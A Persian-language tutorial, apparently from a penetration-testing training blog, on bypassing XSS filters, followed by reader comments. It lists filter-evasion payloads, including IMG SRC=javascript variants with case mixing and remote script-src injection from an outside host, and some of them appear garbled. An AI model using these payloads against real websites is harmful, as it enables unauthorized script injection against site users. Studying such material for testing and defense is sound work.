دور زدن xss و تحلیل روش ها
در این اموزش به نحوه دور زدن xss و برسی روش های استفاده شده می پردازیم با ما در ادامه این اموزش همراه باشید.
در اموزش های قبل در پن تست کور به باگ xss به صورت کامل پرداخته ایم که می توانید برای اشنایی با این اسیب پذیری اموزش ان را مشاهده کنید؛ اما در این اموزش می خواهیم روش هایی برای دور زدن xss اموزش دهیم و روش هایی که استفاده می کنیم را تحلیل کنیم تا درک درستی از این روش ها داشته باشید.
xss زمانی به وجود می اید که کاراکتر هایی که نفوذگر می خواهد در صفحه وب سایت چاپ شود ، حال اگر برخی از کاراکتر ها فیلتر شده باشند و اسیب پذیری به صورت کامل رفع نشده باشد ما باید با روش های مختلف ان ها را دور بزنیم که در ادامه با مثال هایی برای این کار اشنا می شوید.
آموزش دور زدن xss
زمانی که از کد جاوا اسکریپت زیر استفاده کنید
کلمه PentestCore را در وب سایت اسیب پذیر نمایش می دهد.
<script>alert(PentestCore)</script>
حال اگر کلمه script فیلتر شده باشد می توانید تکنیک را کلا عوض کنید :
<(‘IMG SRC=javascript:alert(‘PentestCore>
در کد بالا برای دور زدن xss دیگر از <script> استفاده نشده و از تگ img برای لود کردن تصویر استفاده شده اما تکنیک ان این است که جایگزین url تصویر ، جاوا اسکریپت قرارگرفته است و alert برای ما PentestCore را چاپ می کند ، حال اگر باز هم در اینجا کلمه script تشخیص داده شود با استفاده از حروف بزرگ می توانید برای xss روشی بسازید تا فایروال یا فیلتر ها را دور بزنید.
<(‘IMG SRC=JAVASCRIPT:alert(‘PentestCore>
در مواردی هم ممکن است حروف بزرگ هم فیلتر شده باشند
در این صورت ما برای دور زدن xss باید از ترکیپ حروف بزرگ و کوچک به صورت زیر استفاده کنیم.
<(‘IMG SRC=JaVaScRiPt:alert(‘PentestCore>
برای مثال ما تا به اینجا توانسته ایم فیلتر های کلمه جاوا اسکریپت را دور بزنیم اما اگر کاراکتر ‘ توسط فایروال حساس شده باشد این امکان را به ما نمی دهد تا خروجی چاپ شود برای دور زدن ان کافیست ‘ را کلا از دستور حذف کنید بدون هیچ مشکلی اسکریپت شما اجرا خواهد شد.
<(IMG SRC=JaVaScRiPt:alert(PentestCore>
برای اشنایی با انواع باگ ها می توانید اموزش ان را در پن تست کور مشاهده نمایید.
دور زدن alert
اگر خود alert فیلتر شده باشد برای دور زدن xss باید چه کرد ؟
برای اینکار می توانید یک فایل js را به صورت زیر در وب سایت اسیب پذیر تزریق کنید.
<script src=”https://pentestcore.com/xss.js”></script>
ما در کد بالا از ادرس https://pentestcore.com/xss.js استفاده کرده ایم شما می توانید ادرس خود را قرار دهید و در فایل xss.js خود می توانید alert یا هر کد دیگری که نیاز دارید تا از اسیب پذیری بهره برداری کنید را قرار دهید ، دقت داشته باشید نام xss.js فقط برای مثال گفته شده از این نام استفاده نکنید چرا که ممکن است خود کلمه xss محدود شده باشد.
اگر در اینجا هم با مشکل کلمه جاوا اسکریپت مواجه شدید
می توانید با کاراکتر / این محدودیت ایجاد شده در xss را دور بزنید.
<script/src=”https://pentestcore.com/xss.js”></script>
تکنیک های بسیاری برای دور زدن xss وجود دارد که می توان از ان ها استفاده کرد
ما در بالا سعی کرد ایم کاربردی ترین های ان ها را به شما اموزش دهیم
اما اگر هر سوال و مشکلی در این رابطه دارید می توانید از بخش دیدگاه مطرح کنید.
۶ دیدگاه در “دور زدن xss و تحلیل روش ها”
ممنون از اموزش های خوبتون
امورشها کاملا کاربردی و قابل درک هستند 😀
درود بر شما
مرسی که به ما انرژی میدید.
سلام وقتتون بخیر!
من برنامه نویس تحت وب و تحت ویندوز هستم (C#,PHP) اره زمینه هارو درست انتخاب نکردم ولی از کارم خوشم میاد.
به مسائل امنیتی هم علاقه خاصی داشتم و دارم.
با کمک اموزش شما و توضیحاتی که از این باگ xss شنیده بودم و با ابزار خوب Burp Suit تونستم یک باگ در سایت آپارات پیدا کنم و Bug Bounty این سایت رو برای خودم دریافت کنم.
ممنون از سایت خوبتون.
درود بر شما
بسیار عالی ، خوشحالیم توانستیم در این زمینه همراه شما باشیم.
پایدار باشید.
سلام , هیچ کدوم از روش ها برای دور زدن htmlentities جواب نداد . چطور میشه این تابع رو دور زد ؟
درود
دوست عزیز تابع htmlentities کاملا از xss جلوگیری می کند نمی توانید بایپس کنید.